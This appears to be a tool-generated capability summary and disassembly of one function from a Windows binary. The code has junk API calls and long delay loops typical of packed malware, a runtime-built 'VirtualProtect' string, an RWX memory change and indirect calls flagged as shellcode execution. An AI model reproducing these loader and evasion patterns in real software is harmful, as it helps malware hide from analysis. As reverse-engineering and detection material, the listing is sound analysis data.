Function at 0x40a15f
Capabilities:
Allocate or change rwx memory
Connect pipe
Copy file
Create mailslot
Create pipe
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Manipulate console buffer
Move file
Read .ini file
Read pipe
Terminate process
Terminate thread
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1964
call fcn.0040d710
push ebx
push esi
xor ebx, ebx
cmp dword [0x476b54], 3
push edi
jne 0x40a1d2
lea ecx, [ebp - 0x34]
call fcn.0040ba10
push 0x4013a0
lea ecx, [ebp - 0x68]
call fcn.0040b858
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x34]
call fcn.0040beb2
push ebx
push 1
lea ecx, [ebp - 0x68]
call fcn.0040accf
lea ecx, [ebp - 0x68]
call fcn.00409034
push ebx
call fcn.0040d6f0
push ebx
call fcn.0040d6a0
push ebx
push ebx
call fcn.0040d670
push ebx
call fcn.0040d5f0
add esp, 0x14
lea ecx, [ebp - 0x34]
call fcn.0040bb54
xor esi, esi
cmp dword [0x476b54], 0x47
jne 0x40a29e
lea eax, [ebp - 0x1c]
push eax
push 0x4013d0
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
xor eax, eax
mov dword [ebp - 0x34], ebx
lea edi, [ebp - 0x30]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x64]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 4]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FreeUserPhysicalPages]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
xor eax, eax
mov word [ebp - 0xc], ax
lea edi, [ebp - 0xa]
stosw word es:[edi], ax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalWire]
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
cmp esi, 0x25e1
je 0x40a2b5
inc esi
cmp esi, 0x53f9406
jl 0x40a1d4
jmp 0x40a2bf
mov eax, dword [0x429548]
mov dword [0x476b54], eax
xor esi, esi
cmp esi, 0x3f511
mov dword [0x45db40], ebx
jle 0x40a2f0
cmp dword [ebp - 0x10], 0xdfe626
je 0x40a2f0
cmp dword [ebp - 0x3c], 0xdf5a1c
je 0x40a2f0
cmp dword [0x476b54], 0x28
jne 0x40a2f0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
inc esi
cmp esi, 0x180bc25d
jl 0x40a2c1
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], 0x408
jne 0x40a315
push 0x476b54
call fcn.00409e92
cmp dword [0x476b54], 0x78
jne 0x40a464
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
lea eax, [ebp - 0xb8]
push eax
push 0x401430
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
call esi
push ebx
lea eax, [ebp - 0x10]
push eax
push ebx
lea eax, [ebp - 0x564]
push eax
push ebx
push ebx
push 0x401478
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
lea eax, [ebp - 0xc]
push eax
push ebx
push 0x4013a4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
xor eax, eax
mov word [ebp - 0x78], ax
lea edi, [ebp - 0x76]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_SetLocalTime]
xor eax, eax
mov word [ebp - 0x30], ax
lea edi, [ebp - 0x2e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0x58], ax
lea edi, [ebp - 0x56]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push ebx
push ebx
push ebx
push 0x401498
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LockFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x40bd22
jl 0x40a302
call fcn.00409f77
xor eax, eax
cmp eax, 0x1550
jne 0x40a48e
mov ecx, dword [0x429008]
mov dword [0x476b58], ecx
inc eax
cmp eax, 0x56a453
jl 0x40a47b
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileW]
mov dword [ebp - 4], 0x7015e7
cmp dword [0x476b54], 0x23
jne 0x40a4da
push ebx
lea eax, [ebp - 0x964]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push ebx
push ebx
call edi
push 0x4014c8
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
dec dword [ebp - 4]
jne 0x40a4a3
mov eax, dword [0x476b54]
mov dword [ebp - 4], ebx
cmp eax, ebx
jbe 0x40a538
cmp eax, 0x932
jne 0x40a523
lea eax, [ebp - 0x964]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
lea eax, [ebp - 0x3c]
push eax
push 0x4014d8
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push dword [ebp - 4]
call fcn.00409deb
mov eax, dword [0x476b54]
inc dword [ebp - 4]
cmp dword [ebp - 4], eax
jb 0x40a4eb
mov dword [ebp - 4], ebx
cmp dword [0x476b54], 0x15a
jne 0x40a55e
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push ebx
push dword [ebp - 8]
push dword [ebp - 8]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
cmp dword [ebp - 4], 0x75ec5
jne 0x40a577
push 0x401414
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x45db4c], eax
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x1756bb
jl 0x40a53b
push 0x4014e0
push 0x439968
mov byte [0x439968], bl
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [0x439968], 0x56
mov byte [0x43996a], 0x72
mov byte [0x43996b], 0x74
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], 0x1c
jne 0x40a5cf
lea eax, [ebp - 8]
push eax
push 0x40
push dword [0x476b54]
push dword [0x444020]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x3d9da7
jl 0x40a5b1
call fcn.00409f8b
cmp dword [0x476b54], 0x1d
jne 0x40a71e
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push ebx
push ebx
call edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x4014f0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push ebx
lea eax, [ebp - 0x1164]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll__lwrite]
push ebx
push ebx
lea eax, [ebp - 0x1964]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
lea eax, [ebp - 0x564]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push ebx
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
lea eax, [ebp - 0xc]
push eax
push ebx
push 0x401524
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
call fcn.00409e81
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10